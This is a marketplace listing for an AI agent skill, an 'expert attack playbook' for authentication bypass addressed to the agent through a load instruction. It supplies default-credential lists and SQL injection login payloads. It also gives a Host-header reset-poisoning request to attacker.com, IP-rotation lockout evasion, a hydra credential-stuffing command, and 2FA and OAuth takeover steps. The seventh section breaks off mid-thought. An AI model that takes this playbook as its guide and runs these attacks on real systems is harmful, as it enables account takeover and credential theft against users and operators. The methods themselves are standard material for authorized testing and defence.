- Skill ID
- yaklang/hack-skills/authbypass-authentication-flaws
- Publisher
- yaklang
- Repository
- hack-skills
- Installs
- 0
- Files
- 1
- Synced
- Sep 23, 2026
Open any RiverX project, open the Skills panel in the chat, and search for this identifier. The files are fetched from the source repository at install time.
yaklang/hack-skills/authbypass-authentication-flawsInstalls these files- SKILL.md
What this skill tells the agent
SKILL: Authentication Bypass — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert authentication bypass techniques. Covers SQL injection-based login bypass, password reset flaws, token predictability, account enumeration, brute force bypass, and multi-factor auth bypass. Distinct from JWT/OAuth (covered in ../jwt-oauth-token-attacks/SKILL.md). Focus on the login mechanism itself.
0. AUTHORIZED CREDENTIAL TEST PLANNING
After reducing routing entries, default credentials, username variants, port focus, and wordlist sizing are handled here in one place.
Service-first tiny sets
| Service Type | First Usernames | First Passwords |
|---|---|---|
| phpMyAdmin | root, admin | empty, root, phpmyadmin, admin |
| FTP | ftp, admin, test | empty, ftp, admin, 123456 |
| SSH | root, admin, service account names | root, admin, seasonal variants |
| MySQL | root, mysql | empty, root, mysql |
| Tomcat / Java admin | tomcat, admin, manager | tomcat, admin, s3cret |
| WebLogic | weblogic, admin | weblogic, welcome1, admin |
Username classes
| Class | Examples |
|---|---|
| Generic admins | admin, administrator, root, test, guest |
| Support / ops | dev, ops, sysadmin, service, backup |
| Name-based | firstname, lastname, f.lastname, first.last |
| Mail-derived | left side of corporate email formats |
| Product-based | tomcat, weblogic, jenkins, gitlab |
Wordlist sizing and port focus
| Scenario | Preferred Size | Why |
|---|---|---|
| Default admin panel | 5 to 50 passwords | Defaults beat giant lists here |
| Internal service with known product | vendor-specific small set | Better signal than generic lists |
| Consumer login with weak controls | Top 20 or Top 100 | Fast verification |
| Rate-limited login | tiny list + header/rotation strategy | Preserve attempts |
| Offline hash cracking | large dictionaries | Online brute rules do not apply |
Prioritize common ports and service surfaces: 80/443/8080/8443 admin panels, 22 SSH, 21 FTP, and 3306/5432/6379/27017 data or management services.
1. SQL INJECTION LOGIN BYPASS
Classic but still found in legacy systems, custom ORMs, and raw query code:
-- Basic bypass (admin user assumed first row):
Username: admin'--
Password: anything
→ Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything'
-- Generic bypass (logs in as first user in DB):
Username: ' OR '1'='1'--
Password: anything
→ Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything'
-- Blind: does this work?
Username: ' OR 1=1--
Username: admin' OR 'a'='a
Username: 1' OR '1'='1'/*
Username: 1 or 1=1Test each field separately — only one field may be vulnerable.
2. PASSWORD RESET VULNERABILITIES
Guessable / Predictable Reset Tokens
Check if reset token is based on:
- Timestamp: token=1691234567890 (Unix time)
- Sequential: token=1001, 1002, 1003
- MD5(email): echo -n "user@example.com" | md5sum
- MD5(username+timestamp): reversible
- Short token (4-6 digits): brute-forceableTest: Request 3 consecutive reset emails, compare token patterns.
Reset Token Not Expiring
1. Request password reset → get token via email
2. Wait 48+ hours (token should expire)
3. Use old token → does it work?Reset Token Reuse
1. Request reset → get token T1
2. Complete reset with T1
3. Use T1 again → does it work again?Host Header Injection in Reset Email
When application generates reset URL using Host header:
POST /forgot-password HTTP/1.1
Host: attacker.com ← inject attacker's domain
Content-Type: application/x-www-form-urlencoded
email=victim@target.com→ Reset email sent to victim with link pointing to attacker.com/reset?token=VICTIM_TOKEN → Victim clicks → token captured by attacker
Test: Send password reset with modified Host:, check email for where reset link points.
Password Reset Token in Referer
1. Request reset → go to reset URL with token
2. Reset page loads third-party resources (analytics, fonts)
→ Referer header leaks: https://target.com/reset?token=TOKEN
→ Third-party server receives token in logsPassword Change Without Current Password
PUT /api/user/password
{"new_password": "hacked"}
→ No current_password field required?
→ Combine with CSRF for account takeover3. ACCOUNT ENUMERATION
Identifying valid usernames/emails enables targeted attacks:
Error Message Difference
Invalid username → "User not found"
Valid username, wrong pass → "Incorrect password"
→ Enumerate valid accountsResponse Time Difference
Invalid username → fast response (no DB lookup)
Valid username → slightly slower (DB lookup + hash comparison)
→ Timing oraclePassword Reset Flow
POST /forgot-password {"email": "nonexistent@example.com"}
→ "If this email exists, we sent a reset link" (proper)
vs.
→ "This email is not registered" (enumeration possible)Registration Endpoint
POST /register {"email": "victim@example.com"}
→ "Email already registered" → confirms account exists
vs.
→ "Verification email sent" for both → no enumeration4. BRUTE FORCE BYPASS
Lockout After N Attempts Then Resets
Lockout at 10 attempts → try 9 wrong passwords → lock
Wait for reset period (usually 30 min or 1 hour)
→ Try 9 more → repeat → no permanent lockoutIP-Based Lockout Bypass
X-Forwarded-For: 1.1.1.1 ← change each request
X-Real-IP: 2.2.2.2
Rotate through IPs in headerUsername Cycling vs Password Cycling
Normal brute: try many passwords for one user → lock
Reverse brute: try ONE password for many users
→ "password123" against all users → find those with weak password
→ No single account locked outCredential Stuffing
Use breached credentials from HaveIBeenPwned datasets against target:
# Tools: Hydra, Burp Intruder, custom scripts
hydra -C credentials.txt https-post-form://target.com/login:"username=^USER^&password=^PASS^":"error message"5. MULTI-FACTOR AUTHENTICATION BYPASS
Session Cookie Before 2FA Completion
Flow: Login (password correct) → redirect to 2FA page → enter code
Attack: After password step, session cookie is set but 2FA not yet checked.
→ Use session cookie to directly access /dashboard
→ Skip 2FA page entirely2FA Code Brute Force
4-6 digit TOTP codes = 1,000,000 possibilities max
If no lockout on 2FA step:
→ Brute force all codes (tool: Burp Intruder, sequential)
→ TOTP windows: 30-second window, some accept previous/next window2FA on Critical Actions Not On Login
Login doesn't require 2FA, but:
DELETE /account or POST /transfer requires 2FA
Attack: Is 2FA checked on those actions or only on login?
→ If only login: log in once → no 2FA needing verification for actions2FA Backup Code Abuse
Generate backup codes (usually 8-10 single-use)
Test:
→ Are backup codes rate-limited?
→ Can backup codes be used multiple times?
→ Short codes (6-8 chars)? Brute-force if no rate limit2FA Code Reuse
TOTP codes valid for one use
→ Use same TOTP code twice → does second use work?
→ Replay attack if server doesn't track used codes6. OAUTH / SSO ACCOUNT TAKEOVER PATTERNS
Email Claim Trust
1. Create account at attacker-controlled OAuth provider
2. Set email claim = victim@target.com
3. Link/login via that provider
→ If server trusts email claim without verification → account merge/takeoverPassword Doesn't Apply After SSO Link
1. User links Google SSO
2. User forgets password (account has no password set after SSO only)
3. "Forgot Password" flow → resets password even for SSO-only accounts?
→ Can set password → now bypass SSO → direct login7. USERNAME / PASSWORD FIELD MANIPULATION
Long Password DoS → Bypass
Some apps hash passwords before sending to database.More from yaklang
Use this skill in a project
Open any RiverX project, search the Skills panel for yaklang/hack-skills/authbypass-authentication-flaws, and install it in one click.
